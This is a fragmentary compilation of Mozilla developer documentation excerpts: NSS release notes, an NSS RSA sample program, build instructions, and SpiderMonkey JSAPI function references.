... notable changes in nss 3.19.3 the following ca certificates were removed cn = buypass class 3 ca 1 sha1 fingerprint: 61:57:3a:11:df:0e:d8:7e:d5:92:65:22:ea:d0:56:d7:44:b3:23:71 cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı sha1 fingerprint: 79:98:a3:08:e1:4d:65:85:e6:c2:1e:15:3a:71:9f:ba:5a:d3:4a:d9 cn = sg trust services racine sha1 fingerprint: 0c:62:8f:5c:55:70:b1:c9:57:fa:fd:38:3f:b0:3d:7b:7d:d7:b9:c6 cn = tc trustcenter universal ca i sha-1 fingerprint: 6b:2f:34:ad:89:58:be:62:fd:b0:6b:5c:ce:bb:9d:d9:4f:4e:39:f3 cn = tc trustcenter class 2 ca ii sha-1 fingerprint: ae:50:83:ed:7c:f4:5c:bc:8f:61:c6:21:fe:68:5d:79:42:21:15:6e the following ca certificat...
NSS 3.21.1 release notes
introduction network security services (nss) 3.21.1 is a security patch release for nss 3.21.
...an attacker could create a specially-crafted certificate which, when parsed by nss, would cause a crash or execution of arbitrary code with the permissions of the user.
... acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.22.1 release notes
introduction network security services (nss) 3.22.1 is a patch release for nss 3.22.
... the bug fixes in nss 3.22.1 are described in the "notable changes" section below.
... notable changes in nss 3.22.1 bug 1194680: nss has been changed to use the pr_getenvsecure function that was made available in nspr 4.12 compatibility nss 3.22.1 shared libraries are backward compatible with all older nss 3.22 shared libraries.
NSS 3.25.1 release notes
introduction network security services (nss) 3.25.1 is a patch release for nss 3.25.
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25.
... notable changes in nss 3.25.1 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored.
NSS 3.26.2 release notes
introduction network security services (nss) 3.26.2 is a patch release for nss 3.26.
...this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1.
... notable changes in nss 3.26.2 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored.
NSS 3.27.1 release notes
introduction network security services (nss) 3.27.1 is a patch release for nss 3.27.
...this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27.
... notable changes in nss 3.27.1 availability of the tls 1.3 (draft) implementation has been re-disabled in the default build.
NSS 3.27 release notes
introduction the network security services (nss) team has released nss 3.27, which is a minor release.
... nss 3.27 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_rtm/src/ new in nss 3.27 new functionality allow custom named group priorities for tls key exchange handshake (ssl_namedgroupconfig).
... added support for rsa-pss signatures in tls 1.2 and tls 1.3 new functions in ssl.h ssl_namedgroupconfig notable changes in nss 3.27 update 2016-10-02: the maximum tls version supported has been increased to tls 1.3 (draft).
NSS 3.28.2 release notes
introduction network security services (nss) 3.28.2 is a patch release for nss 3.28.
...this is a patch release includes bug fixes and addresses some compatibility issues with tls.
... bugs fixed in nss 3.28.2 bug 1334114 - nss 3.28 regression in signature scheme flexibility, causes connectivity issue between ios 8 clients and nss servers with ecdsa certificates bug 1330612 - x25519 is the default curve for ecdhe in nss bug 1323150 - crash [@ readdbentry ] compatibility nss 3.28.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.34 release notes
introduction the network security services (nss) team has released nss 3.34, which is a minor release.
... nss 3.34 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_rtm/src/ notable changes in nss 3.34 the following ca certificates were added: cn = gdca trustauth r5 root sha-256 fingerprint: bf:ff:8f:d0:44:33:48:7d:6a:8a:a6:0c:1a:29:76:7a:9f:c2:bb:b0:5e:42:0f:71:3a:13:b9:92:89:1d:38:93 trust flags: websites cn = ssl.com root certification authority rsa sha-256 fingerprint: 85:66:6a:56:2e:e0:be:5c:e9:25:c1:d8:89:0a:6f:76:a8:7e:c1:6d:4d:7d:5f:29:ea:74:19:cf:20:12:3b:69 trust flags: websites, email ...
... sslchannelinfo has two new fields (bug 1396525) sslnamedgroup originalkeagroup holds the key exchange group of the original handshake, when the session was resumed.
NSS 3.36.7 release notes
introduction network security services (nss) 3.36.7 is a patch release for nss 3.36.
...this is a patch release to fix bugs.
... bugs fixed in nss 3.36.7 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash.
NSS 3.36.8 release notes
introduction network security services (nss) 3.36.8 is a patch release for nss 3.36.
...this is a patch release to fix bugs.
... bugs fixed in nss 3.36.8 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) compatibility nss 3.36.8 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36 release notes
introduction the nss team has released network security services (nss) 3.36, which is a minor release.
... nss 3.36 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_rtm/src/ (make a link) new in nss 3.36 new functionality experimental apis for tls session cache handling.
... notable changes in nss 3.36 replaced existing vectorized chacha20 code with verified hacl* implementation.
NSS 3.40 release notes
introduction the nss team has released network security services (nss) 3.40, which is a minor release.
... nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_rtm/src/ new in nss 3.40 new functionality the draft-00 version of encrypted sni support is implemented tstclnt now takes -n option to specify encrypted sni key new functions none notable changes in nss 3.40 the mozilla::pkix library has been ported from mozilla psm to nss.
... the following ca certificates were removed: cn = visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78d53bbee5cf1d597989fd0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.40 compatibility nss 3.40 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.41.1 release notes
introduction network security services (nss) 3.41.1 is a patch release for nss 3.41.
...this is a patch release to fix bugs.
... bugs fixed in nss 3.41.1 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash.
NSS 3.41 release notes
introduction the nss team has released network security services (nss) 3.41 on 7 december 2018, which is a minor release.
... bug 1493215 - enabled the following ciphersuites by default: tls_ecdhe_ecdsa_with_aes_256_gcm_sha384 tls_ecdhe_rsa_with_aes_256_gcm_sha384 tls_dhe_rsa_with_aes_256_gcm_sha384 tls_rsa_with_aes_256_gcm_sha384 new functions none notable changes in nss 3.41 the following ca certificates were added: cn = certigna root ca sha-256 fingerprint: d48d3d23eedb50a459e55197601c27774b9d7b18c94d5a059511a10250b93168 cn = gts root r1 sha-256 fingerprint: 2a575471e31340bc21581cbd2cf13e158463203ece94bcf9d3cc196bf09a5472 cn = gts root r2 sha-256 fingerprint: c45d7bb08e6d67e62e4235110b564e5f78fd92ef058c840ae...
... cn = opentrust root ca g2 sha-256 fingerprint: 27995829fe6a7515c1bfe848f9c4761db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.41 bug 1412829, reject empty supported_signature_algorithms in certificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - resend the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss 3.41: https://bugzilla.mozilla.org/buglist.cgi?resolution...
NSS 3.42 release notes
introduction the nss team has released network security services (nss) 3.42 on 25 january 2019, which is a minor release.
... new in nss 3.42 new functionality bug 818686 - support xdg basedir specification new functions none notable changes in nss 3.42 the following ca certificates were added: none the following ca certificates were removed: none added support for some of the testcases from the wycheproof project: bug 1508666 - added aes-gcm test cases bug 1508673 - added chacha20-poly1305 test cases bug 1514999 - added the curve25519 test cases...
... bugs fixed in nss 3.42 bug 1490006 - reject invalid ch.legacy_version in tls 1.3 bug 1507135 and bug 1507174 - add additional null checks to several cms functions to fix a rare cms crash.
NSS Sample Code sample4
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char...
...stca in nss db (err %d)\n", pr_geterror()); goto cleanup; } pubkey = cert_extractpublickey(cert); if (pubkey == null) { fprintf(stderr, "couldn't extract public key from cert testca (err %d)\n", pr_geterror()); goto cleanup; } modulus_len = seckey_publickeystrength(pubkey); fprintf(stderr, "public key modulus %d bytes\n", modulus_len); buf1 = (char *)malloc(modulus_len); buf2 = (char *)malloc(modulus_len); /* initialize buf1 */ for (i=0;i<modulus_len;i++) { buf1[i]= (i %26) + 'a'; } buf1[modulus_len-1] = '\0'; fprintf(stderr, "buffer being encrypted = \n%s\n", buf1); /* encrypt buf1, result will be in buf2 */ rv = pk11_pubencryptraw(pubkey, buf2, buf1, modulus_len, null); if (rv != secsuccess) { fprintf(std...
...r()); goto cleanup; } fprintf(stderr, "result of decryption, outlen = %d\n", outlen); fprintf(stderr, "result of decryption, buf = \n%s\n", buf1); exit(0); cleanup: if (cert) cert_destroycertificate(cert); if (pubkey) seckey_destroypublickey(pubkey); if (pvtkey) seckey_destroyprivatekey(pvtkey); if (buf1) free(buf1); if (buf2) free(buf2); exit(1); } char *passwdcb(pk11slotinfo *info, prbool retry, void *arg) { if (!retry) return pl_strdup("test"); else return null; } ...
PKCS 7 functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
... sec_pkcs7getcontent mxr 3.2 and later sec_pkcs7getencryptionalgorithm mxr 3.2 and later sec_pkcs7getsignercommonname mxr 3.4 and later sec_pkcs7getsigneremailaddress mxr 3.4 and later sec_pkcs7getsigningtime mxr 3.4 and later sec_pkcs7includecertchain mxr 3.2 and later sec_pkcs7iscontentempty mxr 3.2 and later sec_pkcs7setcontent mxr 3.4 and later sec_pkcs7verifydetachedsignature mxr 3.4 and later sec_pkcs7verifysignature mxr 3.2 and later secmime_decryptionallowed mxr 3.4 and later ...
Build instructions
this can be done in sh or bash as follows: export path=/usr/libexec/binutils220:$path the following build instructions should work for all platforms (with some platform-specific changes as noted).
... hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss if you want to build a releases other than the tips of these repositories, then switch to the release tags: cd nspr hg update nspr_4_9_5_rtm cd ../nss hg update nss_3_14_2_rtm cd ..
... check out nspr and nss: cvs co -r nspr_4_9_5_rtm nspr cvs co -r nss_3_14_2_rtm nss set environment variables as described in the mercurial-based instructions.
Installation guide
the build system of nss originated from netscape's build system, which predated the "configure; make; make test; make install" sequence that we're familiar with now.
...this is done here: http://lxr.mozilla.org/security/sour...platlibs.mk#53 53 ifeq ($(os_arch), linux) 54 ifeq ($(use_64), 1) 55 extra_shared_libs += -wl,-rpath,'$$origin/../lib64:$$origin/../lib' 56 else 57 extra_shared_libs += -wl,-rpath,'$$origin/../lib' 58 endif 59 endif for example, if you install certutil in /foo/bar/nss/bin and the .so's in /foo/bar/nss/lib, then you only need to add /foo/bar/nss/bin to your path; you don't need to set ld_library_path.
...nspr: libnspr4.so libplds4.so libplc4.so nss: (note the use of * for libfreebl -- some platforms have multiple ones) libfreebl*3.so libfreebl*3.chk libsoftokn3.so libsoftokn3.chk libnss3.so libsmime3.so libssl3.so libnssckbi.so ...
FC_EncryptInit
syntax ck_rv fc_encryptinit( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hkey ); parameters hsession[in] handle to the session.
... pmechanism[in] pointer to the mechanism to be used for subsequent encryption.
... description fc_encryptinit initializes an encryption operation with the mechanism and key to be used.
FC_InitPIN
syntax ck_rv fc_initpin( ck_session_handle hsession, ck_char_ptr ppin, ck_ulong ulpinlen ); parameters fc_initpin() takes three parameters: hsession[input] session handle.
... ckr_pin_invalid: the pin has an invalid utf-8 character.
... ckr_pin_len_range: the pin is too short, too long, or too weak (doesn't have enough character types).
NSPR functions
call pr_seterror to set the error code, which can be retrieved with pr_geterror later.
... pr_geterror pr_seterror calendar time nss certificate verification functions take a prtime parameter that specifies the time instant at which the validity of the certificate should verified.
... the ssl library in nss implements the ssl protocol as an nspr i/o layer, which sits on top of another nspr i/o layer that represents tcp.
NSS_Initialize
syntax secstatus nss_initialize(const char *configdir, const char *certprefix, const char *keyprefix, const char *secmodname, pruint32 flags); parameters nss_initialize has five parameters: configdir [in] the directory where the certificate, key, and module databases live.
...use smaller tables and caches.
...examples #include <nss.h> secstatus rv; const char *configdir; configdir = ...; /* application-specific */ rv = nss_initialize(configdir, "", "", secmod_db, nss_init_norootinit | nss_init_optimizespace); see also nss_init, nss_initreadwrite, nss_nodb_init, nss_shutdown ...
NSS tools : vfyserv
name vfyserv — tbd synopsis vfyserv description the vfyserv tool verifies a certificate chain options additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
... the nss site relates directly to nss code changes and releases.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, and sun.
S/MIME functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
...o_destroy mxr 3.2 and later nss_cmsrecipientinfo_encode mxr 3.8 and later nss_cmsrecipientinfo_getcertandkey mxr 3.8 and later nss_cmsrecipientinfo_unwrapbulkkey mxr 3.7.2 and later nss_cmsrecipientinfo_wrapbulkkey mxr 3.7.2 and later nss_cmssigneddata_addcertchain mxr 3.2 and later nss_cmssigneddata_addcertlist mxr 3.2 and later nss_cmssigneddata_addcertificate mxr 3.2 and later nss_cmssigneddata_adddigest mxr 3.2 and later nss_cmssigneddata_addsignerinfo mxr 3.2 and later nss_cmssigneddata_create mxr 3.
The Necko HTTP module
caching faq this document gives an overview of how http caching is implemented in necko.
... it answers some of the common questions concerning what is cached and for how long.
... http cache (v2) describes in detail the api and the implementation details of the content (http, but not only) cache.
Rhino community
there is a much older group, mozilla.dev.tech.js-engine.rhino, that is no longer actively used.
... the mozilla.dev.tech.js-engine newsgroup answers questions about the c implementation of javascript, and was also used for answering questions about rhino until september 27, 2007.
... to view archived messages earlier than september 27, 2007, try google group for the earlier newsgroup.
FOSS
wrappers / bindings c++ cocos2d-js - cocos2d-js is a cross-platform game engine which embeds spidermonkey, providing the same api for both web and native platforms.
...has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings to cross-embed spidermonkey and perl.
... http://javalikescript.free.fr/ - a general-purpose javascript platform that aims to provide an extensible tooling framework http://www.synchro.net/ - a telnet/ssh bulletin board system (bbs) and internet server (http/smtp/ftp) with extra internet services written in javascript (irc, imap, gopher, and many more) https://github.com/mindbit/libjssql/wiki - a library that aims to provide a generic sql api for javascript that is as similar as possible to jdbc miscellaneous serverjs, a standardization effort for the fragmented ...
INT_FITS_IN_JSVAL
*/ name type description i jsint the c integer value to check.
... starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.
...*/ } else { js_reporterror(cx, "integer out of range: %d", item); } see also int_to_jsval changeset - 52750:05bd86e3559a ...
JS::AutoIdArray
syntax autoidarray(jscontext *cx, jsidarray *ida); name type description cx jscontext * the context in which to add the root.
... examples { js::autoidarray ids(cx, js_enumerate(cx, obj)); if (!ids) // check the returned value from js_enumerate return false; for (int32_t i = 0, len = ids.length(); i < len; i++) { somefunc(cx, ids[i]); } /* when leaving this scope, the jsidarray returned by js_enumerate is freed.
... */ } see also mxr id search for js::autoidarray jsidarray js_destroyidarray js_enumerate bug 332648 ...
JS::AutoSaveExceptionState
syntax js::autosaveexceptionstate(jscontext *cx); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... this is useful for implementing behavior in c++ that's like try/catch or try/finally in js.
...return ok; see also mxr id search for js::autosaveexceptionstate js_saveexceptionstate js_restoreexceptionstate js_dropexceptionstate bug 972319 ...
JS::AutoValueArray
syntax js::autovaluearray<n> vp(cx); name type description cx jscontext * the context in which to add the root.
...this is typically used for local variables being passed to function which requires js::handlevaluearray or a pointer to js::value array.
...*/ somefunction2(cx, args); see also mxr id search for js::autovaluearray js::value js::handlevaluearray bug 965830 ...
JS::CurrentGlobalOrNull
syntax jsobject * js::currentglobalornull(jscontext *cx); name type description cx jscontext * the context for which to return the global object.
...in other words, it returns the global object on the current scope chain.
... see also mxr id search for js::currentglobalornull js_getglobalforobject bug 899245 ...
JS::GetSelfHostedFunction
syntax jsfunction* js::getselfhostedfunction(jscontext* cx, const char* selfhostedname, js::handle<jsid> id, unsigned nargs); name type description cx jscontext* the context from which to get the function.
... selfhostedname const char* function name in the self-hosted javascript.
... see also mxr id search for js::getselfhostedfunction bug 1140573 ...
JS::PropertySpecNameToPermanentId
syntax bool js::propertyspecnametopermanentid(jscontext *cx, const char *name, jsid *idp); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... name const char * jspropertyspec::name or jsfunctionspec::name.
... see also mxr id search for js::propertyspecnametopermanentid js::propertyspecnameissymbol js::propertyspecnameequalsid jspropertyspec jsfunctionspec bug 1082672 ...
JS::Remove*Root
ot(jscontext *cx, js::heap<jsscript *> *rp); void removevaluerootrt(jsruntime *rt, js::heap<js::value> *vp); void removestringrootrt(jsruntime *rt, js::heap<jsstring *> *rp); void removeobjectrootrt(jsruntime *rt, js::heap<jsobject *> *rp); void removescriptrootrt(jsruntime *rt, js::heap<jsscript *> *rp); name type description cx jscontext * the context from which to remove the root.
... rt jsruntime * the runtime from which to remove the root.
... see also mxr id search for js::removevalueroot mxr id search for js::removestringroot mxr id search for js::removeobjectroot mxr id search for js::removescriptroot mxr id search for js::removevaluerootrt mxr id search for js::removestringrootrt mxr id search for js::removeobjectrootrt mxr id search for js::removescriptrootrt bug 912581 bug 1107639 ...
JS::SourceBufferHolder
constructor enum ownership { noownership, giveownership }; js::sourcebufferholder(const char16_t *data, size_t datalength, ownership ownership); name type description data const char16_t * source buffer containing the script to compile.
... datalength size_t the length of data, in characters.
... example size_t length = 512; char16_t* chars = static_cast<char16_t*>(js_malloc(sizeof(char16_t) * length)); js::sourcebufferholder srcbuf(chars, length, js::sourcebufferholder::giveownership); js::compile(cx, obj, options, srcbuf); see also mxr id search for js::sourcebufferholder js::compile js::compilefunction js::evaluate bug 987556 ...
JSConvertOp
syntax typedef bool (* jsconvertop)(jscontext *cx, js::handleobject obj, jstype type, js::mutablehandlevalue vp); name type description cx jscontext * the context in which the convert is taking place.
...other types may be passed as hints, but such behavior is deprecated.
... see also mxr id search for jsconvertop jsclass ...
JSDeletePropertyOp
syntax typedef bool (* jsdeletepropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); name type description cx jscontext * the context in which the property access is taking place.
...an attempt to delete such a property fails early, returning false, before the delproperty hook is reached.
... see also mxr id search for jsdeletepropertyop bug 858677 jsclass ...
JSFastNative
apis such as js_initclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of this type, instead of jsnative.
... syntax typedef jsbool (*jsfastnative)(jscontext *cx, unsigned int argc, jsval *vp); name type description cx jscontext * the context in which the fast native is being called.
...it also means that applications that use spidermonkey's security features, particularly those that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_frameiterator and js_stackframeprincipals, must take extra care, as the native function's principals will be missing from the stack.
JSFunction
as a result, some apis (such as js_callfunction) that operate on jsfunctions do not work properly with closures.
... the documentation for each affected api contains a warning about the problem.
...see also mxr id search for jsfunction ...
JSID_EMPTY
internal jsid value which is used in type inference.
... syntax const jsid jsid_empty; const js::handleid jsid_emptyhandle; // added in spidermonkey 31 description jsid_empty is an internal jsid value which is used in type inference code.
... see also mxr id search for jsid_empty mxr id search for jsid_emptyhandle bug 912411 ...
JSObjectOps.defineProperty
details of the api may change from one release to the next.
... syntax jsbool (*jsdefinepropop)(jscontext *cx, jsobject *obj, jsid id, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); name type description cx jscontext * pointer to the js context in which the property is being defined.
... obj jsobject * the object on which the property is being defined.
JSObjectOps.getRequiredSlot
details of the api may change from one release to the next.
... syntax typedef jsval (*jsgetrequiredslotop)(jscontext *cx, jsobject *obj, uint32 slot); typedef jsbool (*jssetrequiredslotop)(jscontext *cx, jsobject *obj, uint32 slot, jsval v); name type description cx jscontext * the js context in which we access the slot.
... note: the slot parameter is a zero-based index into obj slots, unlike the index parameter to the js_getreservedslot and js_setreservedslot api entry points, which is a zero-based index into the jsclass_reserved_slots(clasp) reserved slots that come after the initial well-known slots: proto, parent, class, and optionally, the private data slot.
JSObjectOps.newObjectMap
details of the api may change from one release to the next.
... syntax typedef jsobjectmap * (*jsnewobjectmapop)(jscontext *cx, jsrefcount nrefs, jsobjectops *ops, jsclass *clasp, jsobject *obj); name type description cx jscontext * pointer to the js context in which the new object is being created.
...when nrefs reaches 0 due to a js_dropobjectmap call, jsobjectops.destroyobjectmap will be called to dispose of the map.
JSObjectOps.setProto
details of the api may change from one release to the next.
... syntax typedef jsbool (*jssetobjectslotop)(jscontext *cx, jsobject *obj, uint32 slot, jsobject *pobj); name type description cx jscontext * pointer to the js context in which the object's prototype or parent is being modified.
... description these hooks must check for cycles without deadlocking, and otherwise take special steps.
JSSecurityCallbacks.contentSecurityPolicyAllows
jscheckaccessop is the type of the callback.
... (it is also the type of the callback set by js_setcheckobjectaccesscallback.) syntax typedef jsbool (*jscspevalchecker)(jscontext *cx); name type description cx jscontext * the js context in which the property access attempt is occurring.
... description check whether runtime code generation is allowed for the current global.
JSStringFinalizer
syntax struct jsstringfinalizer { void (*finalize)(const jsstringfinalizer *fin, char16_t *chars); }; name type description fin jsstringfinalizer the finalizer itself.
... chars char16_t * buffer of the external string to be finalized.
... see also mxr id search for jsstringfinalizer js_newexternalstring bug 724810 ...
JS_ClearContextThread
the rules for using jscontexts in multiple threads are: each jscontext may only be used by one thread at a time.
... each request runs from start to finish on a single thread.
... mxr id search for js_setcontextthread mxr id search for js_clearcontextthread ...
JS_ClearNonGlobalObject
syntax void js_clearnonglobalobject(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to clear the object.
... obj jsobject * object from which to delete all properties.
...properties belonging to objects on obj's prototype chain are not affected.
JS_ClearScope
syntax void js_clearscope(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to clear the object.
... obj jsobject * object from which to delete all properties.
...properties belonging to objects on obj's prototype chain are not affected.
JS_ConvertValue
syntax bool js_convertvalue(jscontext *cx, js::handlevalue v, jstype type, js::mutablehandlevalue vp); name type description cx jscontext * the context in which to perform the conversion.
... type jstype the type to which the value is to be converted.
... see also mxr id search for js_convertvalue js_convertarguments js_gettypename js_typeofvalue bug 1125784 ...
JS_DefaultValue
syntax bool js_defaultvalue(jscontext *cx, js::handle<jsobject*> obj, jstype hint, js::mutablehandle<js::value> vp); name type description cx jscontext * the context in which to perform the conversion.
...objects with a custom jsclass specified by the embedder will invoke that class's convert hook, which must convert the object to a primitive value, to determine the primitive result of conversion.
... see also mxr id search for js_defaultvalue js::toprimitive bug 1054756 - renamed to js::toprimitive ...
JS_DefineElement
dex, double value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); /* obsolete since jsapi 32 */ js_defineelement(jscontext *cx, jsobject *obj, uint32_t index, jsval value, jspropertyop getter, jsstrictpropertyop setter, unsigned attrs); name type description cx jscontext * the context in which to create the new property.
... obj js::handleobject or jsobject * the object on which to create the new property.
... see also mxr id search for js_defineelement js_defineconstdoubles js_definefunction js_definefunctions js_defineobject js_defineproperties js_defineproperty js_definepropertywithtinyid js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setelement bug 959787 - changed parameter types ...
JS_DefineOwnProperty
obj js::handleobject object on which the property should be defined own.
...it is not possible to change a non-configurable property).
... descriptor is supposed to be a property descriptor, this means you need to create an object with properties such as value, writable, get or set.
JS_DeleteElement
syntax bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index); // added in spidermonkey 45 bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index, js::objectopresult &result); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject object from which to delete an element.
... see also mxr id search for js_deleteelement bug 1113369 -- added result parameter ...
JS_DeleteElement2
renamed to js_deleteelement in jsapi 39 syntax bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj js::handleobject object from which to delete an element.
... see also mxr id search for js_deleteelement2 bug 1113369 -- added result parameter ...
JS_DropExceptionState
syntax void js_dropexceptionstate(jscontext *cx, jsexceptionstate *state); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... description this function destroys the specified jsexceptionstate object, unrooting as necessary any attached exception object and freeing the memory resources associated with the jsexceptionstate object.
...see also mxr id search for js_dropstateexception jsexceptionstate js_saveexceptionstate js_restoreexceptionstate ...
JS_EnterCompartment
this article covers features introduced in spidermonkey 24 note: the preferred way of changing a context's current compartment is using jsautocompartment.
... syntax jscompartment * js_entercompartment(jscontext *cx, jsobject *target); name type description cx jscontext * the context on which a cross-compartment call is needed.
... see also mxr id search for js_entercompartment js_leavecompartment jsautocompartment bug 786068 ...
JS_EnterLocalRootScope
there is no need to tell the js engine about each variable that may point to such a value.
... calling js_enterlocalrootscope and js_leavelocalrootscope around the body of the native hook protects each object, double, and string created using the same jscontext from gc.
...if js_enterlocalrootscope fails, you must not make the matching js_leavelocalrootscope call.
JS_ExecuteScriptPart
syntax typedef enum jsexecpart { jsexec_prolog, jsexec_main } jsexecpart; jsbool js_executescriptpart( jscontext *cx, jsobject *obj, jsscript *script, jsexecpart part, jsval *rval); name type description cx jscontext * the context in which to execute the script.
... obj jsobject * the scope in which to execute the script.
...see also mxr id search for js_executescriptpart js_executescript bug 555104 ...
JS_FS
name type description name const char * the javascript name for the function.
... selfhostedname const char * the function's name in self-hosted javascript code.
...see also mxr id search for js_fs mxr id search for js_fn mxr id search for js_sym_fn mxr id search for js_fninfo mxr id search for js_self_hosted_fn mxr id search for js_self_hosted_sym_fn mxr id search for js_sym_fnspec mxr id search for js_fnspec mxr id search for js_fs_end jsfunctionspec js_defineproperties js_initclass bug 775788 - added js_fninfo.
JS_GetFunctionFlags
jsfun_generic_native the function is an array generic, such as array.map.
... jsfun_heavyweight the function uses language features such as closures, with, or eval that require extra work on the part of the interpreter.
...(the meaning of this flag may change.) see also bug 807228 ...
JS_GetGlobalForCompartmentOrNull
syntax jsobject * js_getglobalforcompartmentornull(jscontext *cx, jscompartment *c); name type description cx jscontext * the context for which to return the global object.
... c jscompartment * the compartment for which to return the global object.
... see also mxr id search for js_getglobalforcompartmentornull js_getglobalforobject js::currentglobalornull bug 687724 ...
JS_GetReservedSlot
description if a jsclass has jsclass_has_reserved_slots(n) in its flags, with n > 0, or has a non-null jsclass.reserveslots callback, then objects of that class have n reserved slots in which the application may store data.
... reserved slots may also contain private values to store pointer values (whose lowest bit is 0) or uint32_t, when non-javascript values must be stored; the garbage collector ignores such values when it sees them.
... see also mxr id search for js_getreservedslot mxr id search for js_setreservedslot bug 1184564 -- changed jsval to js::value ...
JS_GetRuntime
description js_getruntime retrieves a pointer to the jsruntime with which a specified jscontext, cx, is associated.
... each context is associated with a particular jsruntime when it is created (see js_newcontext); js_getruntime provides a convenient, programmatic way to look up the association.
... see also mxr id search for js_getruntime js_newcontext ...
JS_GetRuntimePrivate
description each jsruntime has a field of type void * which the application may use for any purpose.
... it is especially useful for storing data which callbacks may then easily access.
...see also mxr id search for js_getruntimeprivate js_getcontextprivate js_setcontextprivate js_getsecondcontextprivate js_setsecondcontextprivate js_getcompartmentprivate js_setcompartmentprivate js_getprivate js_setprivate js_getinstanceprivate ...
JS_GetStringLength
this is the same as the length of the array returned by js_getstringchars, in char16_ts (not bytes).
... because some unicode characters are represented using two 16-bit code units, the result is not necessarily the same as the number of unicode characters in the string.
... see also mxr id search for js_getstringlength js_comparestrings js_convertvalue js_getemptystringvalue js_getstringbytes js_internstring js_newstringcopyn js_newstringcopyz js_valuetostring ...
JS_IsConstructing
js_isconstructing returns js_true if the native was defined with jsfun_constructor (js_initclass automatically sets that flag when defining a constructor) and it was called as a constructor, either from javascript, using the new keyword, or from c/c++ using a jsapi function such as js_constructobject.
...ordinary non-constructor jsnatives have no need to call this; it always returns js_false for such functions.
... mxr id search for js_isconstructing bug 918462 ...
JS_IsExceptionPending
syntax bool js_isexceptionpending(jscontext *cx); name type description cx jscontext * pointer to a js context to check for pending exceptions.
...otherwise, it returns false this can be used from jsnative functions which call js code to determine if the called js code threw an exception or not.
...*/ if (pending) { js_setpendingexception(cx, exception); } see also mxr id search for js_isexceptionpending js_setpendingexception js_getpendingexception js_clearpendingexception js_reportpendingexception ...
JS_LeaveCompartment
this article covers features introduced in spidermonkey 24 note: the preferred way of changing a context's current compartment is using jsautocompartment.
